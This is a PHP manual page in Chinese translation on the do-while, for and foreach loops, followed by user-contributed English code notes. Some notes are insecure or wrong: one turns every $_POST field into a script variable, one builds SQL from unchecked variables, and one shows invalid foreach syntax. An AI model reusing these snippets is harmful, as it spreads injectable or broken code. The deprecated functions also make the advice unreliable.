I would not be as pessimistic about the potential uses of the do-while construction, myself.  It is just about the only elegant way of coding blocks that must have at least a single pass of execution, and where various assessments can short-circuit the logic, falling through.

Consider the example of prompting a user to input a value for a variable.  The code in while() format might be:

<?php
$result = null ;
while( $result === null )
{
   print "Gimme some skin, bro!> ";
   $result = trim( fgets( $stdin ) );
   if( $result === '' )
     $result = null ;
}
?>

Well, that works.  Lets try it in do-while format:

<?php
$result = '';
do {
   print "Gimme some skin, bro!> ";
   $result = trim( fgets( $stdin ) );
}
while( $result === '' );
?>

See how it just "reads better"?  You say to yourself, "set up $result, print a message, get a response, and continue do to that while the nincompoop fails to enter anything."

Likewise, that "Advanced C" programming example turns out to be the elegant "no goto" way to run through exceptionally involved pieces of block-logic, with a trivial 'break' able to get one all the way past all the unnecessary code in one fell swoop.

For just about every other 'while()' block application, it shouldn't be used.  While() is what we expect, and while() is what we should use ... except when the surprisingly common "but we have to do it at <i>least once</i>" criterion pops up its pretty head.

rlynch AT lynchmarks DOT com
add a note add a note

后退 | 起点 | 前进
while | 上一级 | for


for

for 循环是 PHP 中最复杂的循环结构。它的行为和 C 语言的相似。 for 循环的语法是：

for (expr1; expr2; expr3)
    statement

第一个表达式（expr1）在循环开始前无条件求值一次。

expr2 在每次循环开始前求值。如果值为 TRUE，则继续循环，执行嵌套的循环语句。如果值为 FALSE，则终止循环。

expr3 在每次循环之后被求值（执行）。

每个表达式都可以为空。expr2 为空意味着将无限循环下去（和 C 一样，PHP 认为其值为 TRUE）。这可能不像想象中那样没有用，因为经常会希望用 break 语句来结束循环而不是用 for 的表达式真值判断。

考虑以下的例子，它们都显示数字 1 到 10：

<?php
/* example 1 */

for ($i = 1; $i <= 10; $i++) {
    echo $i;
}

/* example 2 */

for ($i = 1; ; $i++) {
    if ($i > 10) {
        break;
    }
    echo $i;
}

/* example 3 */

$i = 1;
for (;;) {
    if ($i > 10) {
        break;
    }
    echo $i;
    $i++;
}

/* example 4 */

for ($i = 1; $i <= 10; echo $i, $i++);
?>

当然，第一个例子看上去最正常（或者第四个），但用户可能会发现在 for 循环中用空的表达式在很多场合下会很方便。

PHP 也支持用冒号的 for 循环的替代语法。

for (expr1; expr2; expr3):
    statement;
    ...
endfor;

add a note add a note User Contributed Notes
FatalError
29-Dec-2005 03:56
To add to my previous note, I found a big difference between the two statements. With a "while" statement, you can use $a (from my examples) outside the "while" statement. However, with the "for" statement, you can only use $a within the scope of that statement. In other words, you can't use $a after that "for" statement and expect it to still be equal to the same number it was before.
FatalError
28-Dec-2005 01:01
You can also use a "while" loop to get the same results as a "for" statement. These two examples are basically the same thing:

<?php

for ($a = 0; $a < $somevar; $a++) {
   /* Do something... */
}

?>

<?php

$a = 0;
while ($a < $somevar) {
   /* Do something... */
   $a++
}

?>
see_the_address at the_message dot text ;)
26-Nov-2005 10:29
Here a bit more flexible solution of a task "brutforce" by "jdtoth -at- gmail dot com", and also should be faster ;-) It uses recursion. But it requires quite much memory (especially when playing with $num_positions), I'm not sure it's OK...

If anybody has ideas about that - you are welcome: ultraBoy aat mail ddot ru

<?php
function get_result($len, &$alphabet) {
   if ($len == 1) {
       $result = array();
       while (list($row_key, $row) = each($alphabet)) {
           $result[] = array($row);
       };
   }
   else {
       $result = get_result($len - 1, $alphabet);
       reset($result);
       $new_result = array();
       while (list($row_key, $row) = each($result)) {
           reset($alphabet);
           while (list($l_key, $l) = each($alphabet)) {
               $new_row = $row;
               $new_row[] = $l;
               $new_result[] = $new_row;
           };
       }
       $result = $new_result;
   }
   return $result;
}

// suspected combination numbers
$numbers = array(12,18,24,36);

// how many numbers are in one combunation
$num_positions = 3;

echo 'Total rows: '.pow(count($numbers), $num_positions).'<br />';
$result = get_result($num_positions, $numbers);

foreach ($result as $row_num => $row) {
   echo "$row_num: ";
   foreach ($row as $val) {
       echo $val.' ';
   }
   echo '<br />';
}
?>
jdtoth -at- gmail dot com
25-Nov-2005 07:35
I was fooling around, trying to figure out the combination to a lock that I couldnt remember the combo to.  I did remember it involved a few numbers, so I wrote the following:

<?php
// ----------------------------------------------------------------------
// output all possible combinations for lock, based on supplied numbers
// ----------------------------------------------------------------------

// suspected combination numbers
$numbers = array (12,18,24,36);

for ($i=0; $i <= 10000; $i++)
{
   srand ((double) microtime() * 1000000);
   $random1 = rand(0,3);

   srand ((double) microtime() * 1000000);
   $random2 = rand(0,3);

   srand ((double) microtime() * 1000000);
   $random3 = rand(0,3);

   $results[] = $numbers[$random1].' - '.$numbers[$random2].' - '.$numbers[$random3];
}

// discard duplicates
$results = array_unique($results);

echo "** Unique Results ".count($results)." ** <br/><br/>";
foreach ($results as $output) echo $output . "<br />";

?>

What would be the proper way of writing this code?  Obviously my 'brute-force' method of running a random sequence an extreme amount of times does work and yields what i think is the correct number of combinations, but there must be a more efficient method?
Maciek
16-Nov-2005 03:12
in reply to mbvlist about his loop:

<?php

for($i=0; $i < $max; $i++ && print 'increment,')
{
  do_something();
  echo " i = $i\n";
}
echo "finally, i = $i\n";

?>

Your loop works as you observed, because php evaluates the following as expression:
($i++ && print 'increment)

When $i=0, $i++ returns false, so the second part of the expression (print 'increment') is not evaluated, since there is no output. Since $i > 0 returns true, your print will be evaluated and you will see output..
14-Nov-2005 07:23
if you wanted to make a next previous thing for mysql this would be it

$page = $_GET['page'];
// mysql query goes here
$limit = 30; //gets 30 of whatever
   if(!$page){
       $page = "1";
   }
$limitvalue = $page * $limit - ($limit); //find the limit value
$query = mysql_query("SELECT * FROM `table`ORDER BY id DESC LIMIT $limitvalue, $limit");
$numrows = mysql_query("SELECT * FROM `forum_topics` WHERE `forumid` = '$fid'");
$numofpages = ceil($numrows / $limit);
while ($r = mysql_fetch_array($query)){
// your stuff goes here
}
$pageprev = $page-1;
$pagenext = $page+1;
if ($page != "1"){
echo "  <a href='linkhere.php?page=$pageprev'><< Previous</a> ";
}
for ($i = 1; $i <= $numofpages; $i++) {
if ($i == $page){
echo "<b>$i</b> ";
}
else {
echo "<a href='linkhere.php?page=$i'>$i</a> ";
}
}
if ($numrows > $limit){
if ($page != $numofpages){
echo "  <a href='linkhere.php?page=$pagenext'>Next >></a> ";
}
}

There is also a few other ways but this is how i do it ^^
mbvlist at fastmail dot fm
09-Nov-2005 04:37
While fuzzeling around with iterators (trying to find the next and previous item in a list), discovered something odd:

<?php

for($i=0; $i < $max; $i++ && print 'increment,')
{
  do_something();
  echo " i = $i\n";
}
echo "finally, i = $i\n";

?>

If $max is set at 1 (only the first run will occur), it works as I expected:
i = 0
finally, i = 0

But with $max at a higher value (say 2) it works different:
i = 0
increment, i = 1
increment, finally, i = 2

After the loop was finished $i was incremented! As I read right now, this is what should happen. But it doesn't occur in the first case. As I said, I was searching something using an iterator, and after the loop I wanted to know the next value. Because of this 'feature' (a.k.a. bug) that didn't work.
Be warned!
robert at extremedesigns dot de
06-Aug-2005 07:58
Here is a quick function I wrote for creating a web-true colour palette.

function webTrueColors() {
       // create array for hexadecimal colors
       $colors = array("00", "33", "66", "99", "CC", "FF");
       // build table
       $c= "<table cellspacing=0 cellpaddding=0 border=1>";
       // loop through all combinations
       for ($i=0; $i<6; $i++) {
           for ($j=0; $j<6; $j++) {
               $c.= "<tr>";
               for ($k=0; $k<6; $k++) {
                   $thisColor = $colors[$i].$colors[$j].$colors[$k];
                   // display color and hex value
                   $c.= "<td bgcolor=\"#".$thisColor."\">".$thisColor."</td>";
               }
               $c.= "</tr>";
           }
       }
       // close table
       $c.= "</table>";
       // output to screen
       echo $c;
   }
JustinB at harvest dot org
05-Aug-2005 07:23
For those who are having issues with needing to evaluate multiple items in expression two, please note that it cannot be chained like expressions one and three can.  Although many have stated this fact, most have not stated that there is still a way to do this:

<?php
for($i = 0, $x = $nums['x_val'], $n = 15; ($i < 23 && $number != 24); $i++, $x + 5;) {
   // Do Something with All Those Fun Numbers
}
?>
dre
22-Jul-2005 02:01
In reply to M. Berndt's code sample: recursion is not "always" faster, especially not when you consider how big the stack's getting.

With FAKTOR = 50:
for(): 0.0222418308258
recursion: 0.175624132156

With FAKTOR = 1000:
for(): 0.228713035583
recursion: 0.459243059158
pmv at nipl dot net
04-Jul-2005 03:55
Actually, it seems calling echo inside a for expression is not allowed, at least as of PHP 5.0.4 (built: May 10 2005 09:56:44). Executing the said code results in the following error:

Parse error: parse error, unexpected T_ECHO in /usr/local/iwcdns/webadmin/foo.php on line 2

However, using the print() function seems to work. From this, it seems sensible to think that PHP does not treat echo as a expression. The following will work as expected:

<?php
for ($i = 'a'; $i != "aa"; $i++, print $i);
?>

(Note the use of the character notation 'a', instead of just a. Using the latter works, but is wrong, as explained in section "Why is $foo[bar] wrong?" of the array section of the manual (http://www.php.net/manual/en/language.types.array.php).)

Also, bpgordon's further shortening is not exactly equivalent to mison's examples. In a for loop, the step expression (i.e. the third one) is executed _after_ the body of the loop. Therefore, a more accurate equivalent would be:

<?php
for ($i = 'a'; $i != "aa"; print $i, $i++);
?>

And further shortening this:

<?php
for ($i = 'a'; $i != "aa"; print $i++);
?>
bpgordon at gmail dot com
13-Jun-2005 07:31
Mison's example can be shortened even further:

<?php
for ($i = a; $i!="aa"; $i++, echo $i)
?>
mison
27-May-2005 05:31
In a previous note:

Following moniarde at yahoo dot com 's idea
<?php
for ($i = a; $i!="aa" ; $i++) {
   echo $i;
}
?>

This can be trimmed slightly further to:

<?php
for ($i = a; $i!="aa" ; $i++) echo $i;
?>
berndt at www dot michael - berndt de
13-Apr-2005 12:53
for(){} versus recursion (always faster)
http://www.michael-berndt.de/ie/tux/for_versus_recursion.htm
16-Jan-2005 08:57
Following moniarde at yahoo dot com 's idea
<?php
for ($i = a; $i!="aa" ; $i++) {
   echo $i;
}

?>

will be good.
fb_mathman at hotmail dot com
02-Nov-2004 03:20
It is intersting how to use a structure that can substitue "for".
In the next lines, for instance, I create a function that get the smallest free_id for a table. It has good applications for the phpBB forum.

<?php

function assign_free_id($table, $id_field)
{
   global $db;

   $sql = "SELECT $id_field FROM $table WHERE 1 ORDER BY $id_field ASC";
   if( !$result = $db->sql_query($sql) )
   {
       message_die(GENERAL_ERROR, "Couldn't get id parameters for all the elements of the table", "", __LINE__, __FILE__, $sql);
   }

   while ($arr = $db->sql_fetchrow($result))
   {
   $row[]=$arr;
   }
   $max_elements = count($row);
   if ($max_elements==0)
       {
       $id= 1;
       return ($id);
       }

//here I could insert a double-for structure, but I did as it follows, and I think it is more easy to process.
     //local variable defining....
   $i=1;
   for ( $j=0; $j<$max_elements; $j++)
       {
       if ($i==intval($row[$j][0]))
           {
           // ...go to next cycle
           $i++;
           }
       else
           {
           $id=$i;
           return $id;
           }
       }

}

?>
jphansen at uga dot edu
16-Oct-2004 03:31
as harbater at teamgenesis dot com noted, don't use a comma to separate conditions in expr2. But if you do, the result will be ONLY the last condition being evaluated for the continuation of the loop. So this would iterate infinitely: for(; false, true;); and if you swapped the true and false it would break immediately.

I wouldn't count using a comma completely out of the question, since there may be a rare circumstance where you would only want to break if the last evaluation returns false.
moniarde at yahoo dot com
01-Jun-2004 12:06
As previously mentioned,

<?
for ($i = a; $i <= z; $i++) {
   echo $i
}
?>

will print a -> z, then aa, ba, ca , etc -> yz.  However, doing this:

<?
for ($i = a; ; $i++) {
   echo $i;
   if ($i == "z") {
       break;
   }
}
?>
will print only a->z.  It's simple, but it works.
user at host dot com
19-Apr-2004 06:53
Also acceptable:
  for($letter = ord('a'); $letter <= ord('z'); $letter++)
   print chr($letter);
hayes029 at bama dot ua dot edu
06-Feb-2004 03:16
For the purposes of outputing the alphabet,

<?php
for ($i="A"; $i <= "Z"; $i++) echo "$i<br>";
?>

will actually output A-Z, then begin again with AA, AB, etc. until it finishes with YZ.  Similarly,

<?php
for ($i="A"; $i <= "ZZ"; $i++) echo "$i<br>";
?>

will output A-Z, AA, AB... ZZ, then begin again with AAA, AAB, AAC... up to ZYZ.

Thus an alternative to timrosseel's example for outputting the alphabet is:

<?php
for ($i="A"; $i != "AA"; $i++) echo "$i<br>";
?>
php at project2501 dot plus dot com
15-Sep-2003 07:45
just to clarify that you can 'chain' expr1, expr2 and expr3, for instance:

<?
for($i=0 , $j=10 ; $i<5 ; $i++ , $j+=5, $k=($i+$j))
{
   echo "i: $i<br />j: $j<br />k: $k<br /><br />";
}
?>

produces:

i: 0
j: 10
k:

i: 1
j: 15
k: 16

i: 2
j: 20
k: 22

i: 3
j: 25
k: 28

i: 4
j: 30
k: 34

in case you need to do more than one operation per iteration.

The reason $k does not start with a value of 10, is because expr3 ($k=($i+$j)) is evaluated at the -end- of each iteration.
bishop
18-Jul-2003 07:43
If you're into 1-liners or compact code:

<?php
implode("\n", range('a','z'));
?>

Run-times (on my boxes) are comparable to the other methods using for().  This version is (arguably) more readable than other solutions.
bishop
18-Jul-2003 04:23
If you're already using the fastest algorithms you can find (on the order of O(1), O(n), or O(n log n)), and you're still worried about loop speed, unroll your loops using e.g., Duff's Device:

<?php
$n = $ITERATIONS % 8;
while ($n--) $val++;
$n = (int)($ITERATIONS / 8);
while ($n--) {
   $val++;
   $val++;
   $val++;
   $val++;
   $val++;
   $val++;
   $val++;
   $val++;
}
?>

(This is a modified form of Duff's original device, because PHP doesn't understand the original's egregious syntax.)

That's algorithmically equivalent to the common form:

<?php
for ($i = 0; $i < $ITERATIONS; $i++) {
   $val++;
}
?>

$val++ can be whatever operation you need to perform ITERATIONS number of times.

On my box, with no users, average run time across 100 samples with ITERATIONS = 10000000 (10 million) is:
Duff version:      7.9857 s
Obvious version: 27.608 s
thewhiteness at hotmail dot com
17-Dec-2002 06:10
Regarding ben's note: The reason for this is that your first example uses neither the $i++ or $i+= operators. It's like telling PHP to add nothing to it ($i+).

Another way to possibly speed a for loop would be this:

...
for (;condition;) {
// your statement/block here
}
...

This way, if you have a variable that is being updated in the body of the loop anyways, you can use it, rather than specify a number of iterations.
nzamani at cyberworldz dot de
18-Jun-2001 02:47
The point about the speed in loops is, that the middle and the last expression are executed EVERY time it loops.
So you should try to take everything that doesn't change out of the loop.
Often you use a function to check the maximum of times it should loop. Like here:

for ($i = 0; $i <= somewhat_calcMax(); $i++) {
  somewhat_doSomethingWith($i);
}

Faster would be:

$maxI = somewhat_calcMax();
for ($i = 0; $i <= $maxI; $i++) {
  somewhat_doSomethingWith($i);
}

And here a little trick:

$maxI = somewhat_calcMax();
for ($i = 0; $i <= $maxI; somewhat_doSomethingWith($i++)) ;

The $i gets changed after the copy for the function (post-increment).

I don't know if

for ($i = 0; $i <= $maxI; somewhat_doSomethingWith($i), $i++) ;

is correct...at least it's not really clear.
harbater at teamgenesis dot com
27-Mar-2001 10:55
If you want two conditions to be evaluated in expr2, you can't just separate them with commas like you can with expr1 and expr3.

For example, this does not work:
for ($i=$start, $count=0; $i<$total, $count<10; $i+=10, $count++)

But this does:
for ($i=$start, $count=0; ($i<$total && $count<10); $i+=10, $count++)
add a note add a note

后退 | 起点 | 前进
do-while | 上一级 | foreach


foreach

PHP 4 引入了 foreach 结构，和 Perl 以及其他语言很像。这只是一种遍历数组简便方法。foreach 仅能用于数组，当试图将其用于其它数据类型或者一个未初始化的变量时会产生错误。有两种语法，第二种比较次要但却是第一种的有用的扩展。

foreach (array_expression as $value)
    statement
foreach (array_expression as $key => $value)
    statement

第一种格式遍历给定的 array_expression 数组。每次循环中，当前单元的值被赋给 $value 并且数组内部的指针向前移一步（因此下一次循环中将会得到下一个单元）。

第二种格式做同样的事，只除了当前单元的键名也会在每次循环中被赋给变量 $key。

自PHP 5 起，还可能遍历对象。

注: 当 foreach 开始执行时，数组内部的指针会自动指向第一个单元。这意味着不需要在 foreach 循环之前调用 reset()。

注: 除非数组是被引用，foreach 所操作的是指定数组的一个拷贝，而不是该数组本身。因此数组指针不会被 each() 结构改变，对返回的数组单元的修改也不会影响原数组。不过原数组的内部指针的确在处理数组的过程中向前移动了。假定 foreach 循环运行到结束，原数组的内部指针将指向数组的结尾。

自 PHP 5 起，可以很容易地通过在 $value 之前加上 & 来修改数组的单元。此方法将以引用赋值而不是拷贝一个值。

<?php
$arr = array(1, 2, 3, 4);
foreach ($arr as &$value) {
    $value = $value * 2;
}
// $arr is now array(2, 4, 6, 8)
?>

此方法仅在被遍历的数组可以被引用时才可用（例如是个变量）。

注: foreach 不支持用“@”来抑制错误信息的能力。

用户可能注意到了以下的代码功能完全相同：

<?php
$arr = array("one", "two", "three");
reset($arr);
while (list(, $value) = each($arr)) {
    echo "Value: $value<br>\n";
}

foreach ($arr as $value) {
    echo "Value: $value<br />\n";
}
?>

以下代码功能也完全相同：

<?php
$arr = array("one", "two", "three");
reset($arr);
while (list($key, $value) = each($arr)) {
    echo "Key: $key; Value: $value<br />\n";
}

foreach ($arr as $key => $value) {
    echo "Key: $key; Value: $value<br />\n";
}
?>

示范用法的更多例子：

<?php
/* foreach example 1: value only */

$a = array(1, 2, 3, 17);

foreach ($a as $v) {
   echo "Current value of \$a: $v.\n";
}

/* foreach example 2: value (with key printed for illustration) */

$a = array(1, 2, 3, 17);

$i = 0; /* for illustrative purposes only */

foreach ($a as $v) {
    echo "\$a[$i] => $v.\n";
    $i++;
}

/* foreach example 3: key and value */

$a = array(
    "one" => 1,
    "two" => 2,
    "three" => 3,
    "seventeen" => 17
);

foreach ($a as $k => $v) {
    echo "\$a[$k] => $v.\n";
}

/* foreach example 4: multi-dimensional arrays */
$a = array();
$a[0][0] = "a";
$a[0][1] = "b";
$a[1][0] = "y";
$a[1][1] = "z";

foreach ($a as $v1) {
    foreach ($v1 as $v2) {
        echo "$v2\n";
    }
}

/* foreach example 5: dynamic arrays */

foreach (array(1, 2, 3, 4, 5) as $v) {
    echo "$v\n";
}
?>

add a note add a note User Contributed Notes
gherson
31-May-2006 03:33
To "foreach" over the characters of a string, first "preg_split" the string into an array:
<?php
$string="string";
$array = preg_split('//', $string, -1, PREG_SPLIT_NO_EMPTY);
foreach($array as $char) print($char."<br/>");
?>
This outputs:
s
t
r
i
n
g
php at kormoc dot com
12-May-2006 02:25
With foreach and references, there is a super easy way to corrupt your data

see this test script:
<?php
$array = array(1,2,3);
foreach( $array as &$item );
foreach( $array as $item );
print_r( $array );
?>

You would imagine that it would have 1,2,3 but in reality, it outputs 1,2,2

The issue is that $item is a pointer to the last array value, and exists outside of the scope of the foreach, so the second foreach overwrites the value. If you would check what it gets set to in the second foreach loop, you would see that it gets set to 1 and then 2 and then 2 again.

This has already been filed as a bug, see:
http://bugs.php.net/bug.php?id=29992

but php developers seem to think that it's expected behaviour and *good* behaviour, so it's doubtful that it will change anytime soon. This is a really bad gotcha, so watch out.
php_man_resp at earthshod dot co dot uk
09-Mar-2006 11:58
To atroxodisse:  This behaviour is normal.  PHP arrays are associative arrays but, unlike Perl, with artificial order maintenance.  Keys can be any scalar value except references; of course integers are scalars, so traditional integer-indexed arrays just work.  {You can even have fractions in array indices, as long as you enclose the index in speech marks, such as $array["1.5"]!  This is not unique to PHP, by the way, but existed by accident in some dialects of BASIC seen on 1980s-vintage home computers.}  The foreach loop iterates over keys in chronological order of when they were added to the array, which is *not* necessarily the same as the sort order.  The print_r() function uses the same iteration order.

If you want to add elements to the beginning of an existing numeric array  {or between existing elements -- either using fractional indices, or because you left gaps when populating the array}  and have foreach iterate over them in order, then you will need to use ksort() on the array *first*.
Wout (BE)
24-Feb-2006 09:46
If you want to use an array, depending on a variable, you can point to it within a foreach function like this :

$language = EN;

$xyz_EN = array (...);

$xyz_NL = array (...);

foreach ( ${'xyz_'.$language} as ...)
{
  ...
};
Hermann
22-Feb-2006 09:55
foreach may be used not only to iterate through array elements, but also to iterate through object properties.

Documentation should specify that.
Edwin_fromUtrecht at NOSPAM dot example dot com
15-Feb-2006 10:39
To comment on the foreach statement behaviour comment below: The reason for this different behaviour is that the foreach statement is equivalent to the each statement. They both make use of an internal pointer. To loop through the complete array after a change you could use the reset statement on the array.
atroxodisse at gmail dot com
10-Feb-2006 09:04
I just noticed something.  I created an array, Looped through a mysql result with a while and added values to that array with an index that I incremented manually, starting at position 1.  After closing the while loop I added an element at position 0 of the array.  When I looped through that array with a foreach loop it evaluated the elements starting from the first element that was added instead of starting at position 0.  I'm not sure if that was intentional but it does not seem to be in the documentation.  So in this case looping through the array with a foreach was not the same as looping through it with a for loop like this:

for($i =0; $i<count($myarray); $i++)

To anyone coming from a C or C++ background this might be confusing.
daniel dot oconnor at gmail dot com
09-Feb-2006 02:42
Dangers with References

<?php
$months = array("Jan", "Feb", "March");

foreach ($months as &$month) {
   $month .= "Beep";
}

print_r($months);

foreach ($months as $month) {
   printf("%s\n", $month);

}

?>

Because $month is a reference to $months[2], iterating again with the same varible name causes $months[2] to be overwritten! Oh no!

Ouput:
Array
(
   [0] => JanBeep
   [1] => FebBeep
   [2] => MarchBeep
)
JanBeep
FebBeep
FebBeep
egingell at sisna dot com
01-Feb-2006 01:26
That is definitely weird.

Anyway, I found out that if you put something like $ary[] in where either the key and/or the value goes, you'll append all the keys and/or values to that array. Example:

<?php

$array = array(
     'num1' => 'a',
     'num2' => 'b',
     'num3' => 'c'
);

$k = array();
$v = array();

foreach ($array as $k[] => $v[]);

echo '$k => ' . print_r($k, true);
echo '$v => ' . print_r($v, true);

?>

The above code will do this:

$k => Array (
     [0] => num1
     [1] => num2
     [2] => num3
)
$v => Array (
     [0] => a
     [1] => b
     [2] => c
)
RabidDog
17-Jan-2006 06:17
Pretty weird but for future reference

//doesn't multiply the last value
foreach ($ar as &$v){
   $v *= 2;
}
foreach($ar as $v){
   echo $v. "<br>";
}
//works fine
foreach ($ar as &$o){
   $o *= 2;
}
foreach($ar as $v){
   echo $v. "<br>";
}
pinheirosp at hotmail dot com
27-Dec-2005 12:25
In reply to FatalError, if you use Zend Dev Studio, i'll notice it's report "while(list() = each())" calls as "Using While w/ arrays param". So far, it's may be ambiguous to make things like that.

Prefer to make a clean code and use PHP "kernel" functions to navigate through an array.

Btw, if we take the exec time as example:

//a litte array, just to test =-]
$arr = array();
for($i=0; $i<100000; $i++) $arr[$i] = $i;

//list-each solution
$myTime = microtime(true);
reset($arr);
while (list($key, $value) = each($arr)) {
   $value = ($key * $value);
}
$myTime = microtime(true) - $myTime;
echo("list-each : " . $myTime . "<BR />\n");

//foreach solution
$myTime = microtime(true);
foreach ($arr as $key => $value) {
   $value = ($key * $value);
}
$myTime = microtime(true) - $myTime;
echo("foreach : " . $myTime . "<BR />\n");

/*
output:

list-each : 0.40198588371277
foreach : 0.23317384719849
*/
FatalError
22-Dec-2005 07:39
I recommend using a "while" instead of a "foreach," like this:

<?php
while (list($key, $val) = each($array)) {
   // Do something...
}
?>

This gives you more control and gets rid of some problems that you may have with the foreach statement.
janezr at jcn dot si
10-Nov-2005 05:06
If you want to "look-ahead" values in an associative or non-continuous array, this might help:

<?
$myArray = {'one'=>1,'two'=>2,'five'=>5,'three'=>3}

$all_keys = array_keys($myArray);
foreach ( $all_keys as $key_index => $key ) {
  $value =& $myArray[$key];
  // $all_keys[$key_index+2] gives null if we go past the array boundary - be carefull there
  $value2 =& $myArray[$all_keys[$key_index+2]] ;
  ...
}
?>
boxer at racaboxer dot com dot br
10-Nov-2005 02:19
To do tables with cells alleatories...

<?
foreach($result as $item)
{
$x++;
if(($x % 2)==0) {
?>
 <tr>
  <td align='center' valign='middle' bgcolor='#FFFFFF' width='300'>
<img src="<?=$item['src'];?>" border="<?=$item['border'];?>" alt="<?=$item['alt'];?>">
  </td>
  <td align='center' valign='middle' bgcolor='#FFFFFF' width='300'>
<?=$item['obs'];?>
  </td>
 </tr>
<? } else { ?>
 <tr>
  <td align='center' valign='middle' bgcolor='#FFFFFF' width='300'>
<?=$item['obs'];?>
  </td>
  <td align='center' valign='middle' bgcolor='#FFFFFF' width='300'>
<img src="<?=$item['src'];?>" border="<?=$item['border'];?>" alt="<?=$item['alt'];?>">
  </td>
 </tr>
<?
}
}
?>

Just it !
Flavio Tubino From Blumenau, Brazil
08-Oct-2005 02:59
Like the FOR statement, you can also write:

<?php
$a_array=array("a","b","c");
foreach($a_array as $key=>$value):
   print $key." = ".$value."<br>";
endforeach;
?>
Flavio From Brazil
08-Oct-2005 02:55
Like the FOR statement, you can also write:

<?php
foreach($i=1;$i<10;$i++):
   print $i;
endforeach;
?>
retula AT gmail DOT com
05-Oct-2005 09:54
Here is a cool script to optimize all the tables in a database! (mysql only)

<?php

// connect to the db
mysql_connect("host","username","pw");
mysql_select_db("database");

//get all tables
$alletabellen = mysql_query("SHOW TABLES");

//go trough them, save as an array
while($tabel = mysql_fetch_assoc($alletabellen)){

   //go through the array ( $db => $tabelnaam )
   foreach ($tabel as $db => $tabelnaam) {

       //optimize every table
       mysql_query("OPTIMIZE TABLE `".$tabelnaam."`") or die(mysql_error());
   }
}

?>

Enjoy!
Oto "Zver" Brglez ml.
24-Sep-2005 09:14
You can use you'r own function for creating xml/html tags.

Function :
function tag($tag,$string,$atrib = false){
   if(!is_array($atrib)){
       return "<".$tag.">".$string."</".$tag.">";
   } else {
       $o = "<".$tag;
       foreach($atrib as $key => $val){
           $o .= " ".$key."=\"".$val."\"";
       };
       $o .= ">".$string."</".$tag.">";
       return $o;
   };
}

Usage:
$array[href] = "http://www.php.net";
$array[id] = "testcss";
$array[class] = "simplecssclass";

print(tag("a","PHP Home Page,$array));

Output:
<a href="http://www.php.net" id="testcss" class="simplecssclass">PHP Home Page</a>

You can use this function without attributes. Like this:
print(tag("b",Bold text));

Output:
<b>Bold text</b>
dyer85 at gmail dot com
28-Jul-2005 06:44
Concerning mike's post below, the list and each function style would also work:

<?php

   /* Tweak of Mike's original code */

   /*
       Additions include Friendly HTML format or normal
       spaces for command line
   */

   /*
       May you never be forced to deal with a structure
       like this in real life...
   */
   $items = array(
       -1,
       0,
       array(
             array(1,2,3,4),
             array(5,6,7,8),
             array(9,10,11,12)
       ),
       array(
             array("a", "b", "c"),
             array("d", "e", "f"),
             array("g", "h", "i")
       )
   );

   // HTML formatting
   echo "<pre>\n"; print_array($items, 0); echo "</pre>\n";

   function print_array($arr, $level)
   {
       $indent='';

       // Change to false if you want CLI formatting (no &nbsp; entities)
       $html=true;

       // Hehe, I've always used 3-spaced tabs
       $indent = $html ? str_repeat('&nbsp;', $level * 3) : $indent = str_repeat(' ', $level *3);

       // Changed from foreach
       while ( list(, $item) = each($arr) )
       {
           if (is_array($item))
           {
               echo $html ? $indent . "Item is an array...<br>\n" :
               $indent . "Item is an array...\n";

               print_array($item, $level+1);
           }
           else
           {
               echo $html ? $indent . "Value at current index: " . $item . "<br>\n" :
               $indent . "Value at current index: " . $item . "\n";
           }
       }
   }

?>
mikeb at tracersinfo dot com
27-Jul-2005 01:18
Using PHP5's foreach "as reference" can bite you!

Three guys in my office spent about a day chasing this one's tail, that was causing aberrant behavior in the values of elements of an array.  It turns out to be a consequence of the nature of references, generally.

If you create a reference to a variable, all names for that variable (including the original) BECOME REFERENCES.  To paraphrase "The Highlander," if you want a name to OWN a piece of data, "there can be only one."

To illustrate this point, consider the following code:

<?php

$f = array(
       0 => array('value' => 'three'),
       1 => array('value' => 'three')
     );

foreach ( $f as $k => &$v ) {
  $v['value'] = 'one';
}

$a = $f;
$b = $f;

$b[0]['value'] = 'two';
$b[1]['value'] = 'two';

var_dump($a, $b);

?>

Upon execution, you will find that, although you would expect $a to contain two arrays with 'value' of 'one', $a and $b are identical -- i.e., the changes of []['value'] to 'two' have happened in both arrays.  But, upon further examination of the var_dumps, you will see that both sets' elements [0] and [1] are preceded with "&":  they are references!

The easy solution to this problem turns out to be:  unset the foreach "as-reference" variable ($v) at the bottom of your foreach loop.  This allows the original variable (or array member) to resume ownership of the value and dissolves its "reference-ness".
chris at randomcat dot co dot uk
19-Jul-2005 04:19
Just as a note - it's generally not enough to just foreach through $_POST or $_GET, then addslashes() (although this often works)... you could be exposing yourself to a bit of nastiness due to magic quotes.

See the discussion example 3 of mysql_real_escape_string, for a bit more info: http://uk.php.net/manual/en/function.mysql-real-escape-string.php
magistrata at gmail dot com
14-Jul-2005 12:59
I use this code to do a simple cleanup on information heading from an HTML form into a database:

<?php
  foreach ($_POST as $key => $value) {
   $$key = addslashes(trim($value));
  }
?>
barnacle83-phpnotes at yahoo dot com
30-Jun-2005 04:06
Here are various ways I've seen to iterate arrays by reference in PHP4.
Based on my tests, I have placed them in order of fastest to slowest.

Benchmarking tool I used:
http://phplens.com/phpeverywhere/phpe-2004.htm#a3297
http://phplens.com/lens/dl/JPBS.zip

<?php
// --------------------------------------------------------------------

foreach ( array_keys($myArray) as $key ) {
  $element =& $myArray[$key];
  ...
}

// --------------------------------------------------------------------

foreach( $myArray as $key => $element ) {
  $element =& $myArray[$key];
  ...
  unset($element);
}

// --------------------------------------------------------------------

reset($myArray);
while ( list($key) = each($myArray) ) {
  $element =& $myArray[$key];
  ...
  unset($element);
}
?>

Andrew
25-Jun-2005 06:00
The poster who submitted this loop style for iterating over variables by reference:

<?php
foreach( $object_list as $id => $the_object ) {
  $the_object = &$object_list[$id]; // Re-assign the variable to point to the real object
  // ...
  unset($the_object); // Break the link to the object so that foreach doesn't copy the next one on top of it.
}
?>

Using foreach() means you end up making a copy of the value, and then quickly reassign it to be a reference. This is a waste of the original copy operation.

You may want to consider this, more meaningful and readable alternative:

<?php

reset($object_list);

while (list($key) = each($object_list)) {

   $the_object = & $object_list[$key]; // Re-assign the variable to point to the real object

   // ...

   unset($the_object); // Break the link to the object so that foreach doesn't copy the next one on top of it.

}
?>
JaGx
18-Jun-2005 11:55
On the note of Paul's for loop:
function foo($x) {
   global $arr; // some Array
   for($i=0; $i < count($arr); $i++) {
     if($arr[$i][0] == $x) {
         echo $arr[$i][1]."\n";
         foo($arr[$i][0]);
     }
   }
}

------------
